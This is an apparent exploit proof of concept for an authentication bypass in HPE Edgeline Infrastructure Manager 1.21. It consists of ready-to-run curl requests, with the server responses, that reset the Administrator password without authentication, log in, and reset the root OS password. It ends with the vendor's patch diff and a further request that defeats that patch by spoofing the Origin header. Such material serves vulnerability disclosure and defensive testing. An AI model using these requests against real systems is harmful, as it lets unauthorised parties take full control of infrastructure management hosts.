HPE Edgeline Infrastructure Manager v1.21 Authentication Bypass

# Reset the Administrator password
curl -k --tlsv1.2 -H 'Content-Type: application/json' -d '{"Password":"attacker"}' -X PATCH https://<eim-host>/redfish/v1/SessionService/ResetPassword/1
{"Messages": [{"MessageID": "Base.1.0.Updated"}], "@odata.type": "#Message.1.0.0.Message", "error": {"@Message.ExtendedInfo": [{"MessageID": "Base.1.0.updated"}], "code": "iLO.1.0.ExtendedInfo"}}

# Login with the new Administrator password; get an X-Auth-Token
curl -ki --tlsv1.2 -H 'content-type: application/json' -d '{"UserName":"Administrator","Password":"attacker"}' https://<eim-host>/redfish/v1/SessionService/Sessions
HTTP/1.1 201 Created
Server: nginx
Date: Thu, 28 Jan 2021 06:27:54 GMT
Content-Type: application/json
Content-Length: 195
Connection: keep-alive
X-Auth-Token: eda6c27504c54cf68e1d005742c1ef8c573e5e60
Is-Ldap: False
PasswordReset: False
Location: /redfish/v1/SessionService/Sessions/Administrator16
Cache-Control: no-cache
OData-Version: 4.0
Link: /redfish/v1/SchemaStore/en/SessionCollection.json;rel=describedby
Vary: Accept
Allow: POST, OPTIONS, GET
X-Frame-Options: SAMEORIGIN
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block

{"Messages": [{"MessageID": "Base.1.0.Created"}], "@odata.type": "#Message.1.0.0.Message", "error": {"@Message.ExtendedInfo": [{"MessageID": "Base.1.0.Created"}], "code": "iLO.1.0.ExtendedInfo"}}[


# Reset the root password
# This request sets the password for both the Administrator account (webapp user) and the root account (OS user)
curl -ki --tlsv1.2  -H 'content-type: application/json' -H 'x-auth-token: eda6c27504c54cf68e1d005742c1ef8c573e5e60' -d '{"Password":"attacker"}' -X PATCH https://<eim-host>/redfish/v1/AccountService/Accounts/1
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 28 Jan 2021 06:32:27 GMT
Content-Type: application/json
Content-Length: 75
Connection: keep-alive
Vary: Accept, Cookie
Allow: POST, GET, DELETE, OPTIONS, PATCH
X-Frame-Options: SAMEORIGIN
Set-Cookie: sessionid=kezu0jqn1xfalr3fcwet165fsvhw4v4r; expires=Thu, 11 Feb 2021 06:32:27 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block

{"Status": "success", "Invalid_Entries": [], "Valid_Entries": ["Password"]}

--- 1.21/api_fs/opt/app/eim/api/views.py        2020-09-17 12:28:48.000000000 -0400
+++ 1.22/api_fs/opt/app/eim/api/views.py        2021-04-01 12:24:13.000000000 -0400
@@ -1830,9 +1830,20 @@
 @api_view(['PATCH'])
 @permission_classes((AllowAll,))
 def specific_password_reset(request, user_id):
+    is_console_user = False
+    request_origin = ""
+    if "HTTP_ORIGIN" in request.META and request.META["HTTP_ORIGIN"] == "https://127.0.0.1":
+        request_origin = request.META["HTTP_ORIGIN"]
+        is_console_user = True

-    if request.method == 'PATCH':
+    if not is_console_user:
+        logger.info("Unauthenticated password reset from {}".format(request_origin))
+        logger.info("Unauthenticated password reset is restricted to the console")
+        resp = JsonResponse(json.loads(error_template.format("ConsoleRestricted", "ConsoleRestricted")))
+        resp.status_code = 403
+        return resp

+    if request.method == 'PATCH':
         uri = request.get_full_path()

         try:

curl -k --tlsv1.2 -H 'Content-Type: application/json' -H 'Origin: https://127.0.0.1' -d '{"Password":"attacker"}' -X PATCH https://<eim-1.22-host>/redfish/v1/SessionService/ResetPassword/1
{"Messages": [{"MessageID": "Base.1.0.Updated"}], "@odata.type": "#Message.1.0.0.Message", "error": {"@Message.ExtendedInfo": [{"MessageID": "Base.1.0.updated"}], "code": "iLO.1.0.ExtendedInfo"}}